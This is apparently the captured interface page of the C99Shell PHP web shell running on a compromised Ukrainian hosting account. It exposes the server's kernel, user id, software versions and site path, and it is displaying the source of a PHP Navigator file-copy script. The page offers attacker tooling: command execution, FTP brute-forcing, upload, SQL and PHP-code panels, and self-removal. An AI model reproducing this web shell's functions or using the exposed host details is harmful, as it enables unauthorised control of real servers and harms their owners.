!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/zt-tsou.org.ua/modules/upload/   drwxr-xr-x
Free 106.79 GB of 200.55 GB (53.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     copy.php (2.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
#---------------------------
# PHP Navigator 4.2
# dated: 03-8-2006
# Coded by: Cyril Sebastian
# Modified by: Paul Wratt
# web: navphp.sourceforge.net
#---------------------------

$dir = @$_REQUEST['dir'];
$ajax=@$_REQUEST['ajax'];
$file=@$_REQUEST['file'];
$change = @$_REQUEST['change'];
$force = @$_REQUEST['force']; // <-- to be added (force overwrite)

include_once("config.php");
include_once(
"functions.php");

authenticate();    //user login

if(!$dir$dir=$homedir;
chdir($dir);
$reply 0;

$destdir realpath(dodotpath($change,$dir));
$source realpath($file);
$copyto $destdir.DIRECTORY_SEPARATOR.$file;
$copyto str_replace("\\",DIRECTORY_SEPARATOR,$copyto);

if(!
file_exists($file)) $msg="Error: '$file' does not exists!";
elseif(
is_dir($file)){
  if(!
is_dir($destdir) && !$force$msg="Error: Folder '$change' does not exist!";
  elseif(
is_dir($copyto)) $msg="Error: Folder '$file' already exists in '$change'!";
  elseif(
traverse($source,$copyto)) {$msg.=".\n Folder '$file' copied to '$change'."$reply=0;}
  else 
$msg="Error: Folder '$file' could not be copied!";
}else{
  if(
file_exists($copyto) && !$force$msg="Error: File '$file' already exists in '$change'!"
  else if(@
copy($file,$copyto)) {$msg="File '$file' copied to '$change'"$reply 0;}
  else 
$msg="Error: File copy failed!";
}

function 
dodotpath($change,$dir)
{
  if(
is_dir(realpath($change))) return $change;

  
$realdir $dir;
  
$newdir $change;

# do parent loop until no more "../" or "./"
  
$parentcount substr_count($newdir,".".DIRECTORY_SEPARATOR);
  
$parentcount $parentcount substr_count($newdir,DIRECTORY_SEPARATOR.".");
  if(
$parentcount>0){
    
$dirarray explode(DIRECTORY_SEPARATOR,$newdir);
    foreach(
$dirarray as $name){
      if (
$name==".."){
        
$realdir substr($realdir,0,strrpos($realdir,DIRECTORY_SEPARATOR));
      }elseif (
$name!='.' && $name!=''){
        
$realdir $realdir.DIRECTORY_SEPARATOR.$name;
      }
    }
  }
  return 
$realdir;
}

function 
traverse($dir,$todir)    # For recursive copying using realpath()
{
global 
$msg$reply;
$l strlen($dir); $i 0$j 0$k 0;
if(!
is_dir($todir)){
      if(!
mkdir($todir)) return false;
}
try{
$copydir = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir), true);
foreach (
$copydir as $copyfile)
 {
  
$file $copyfile->getPathname();
  
$path2file substr($file,$l);
  
$i++;
  if(
is_dir($file)){
    if(!
is_dir("$todir$path2file")){
      if(
mkdir("$todir$path2file")) $k++;
      else 
$j++;
    }
  }else{
      if(@
copy($file,"$todir$path2file")) $k++;
      else 
$j++;
  }
 }
}catch (
Exception $ex){
//throw $ex;
}
$msg "$k of $i files copied";
if (
$j>0$msg .= ", $j failed";
return 
true;
}

if(
$ajax){
    
expired();
    print 
"|$reply|$msg||";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0361 ]--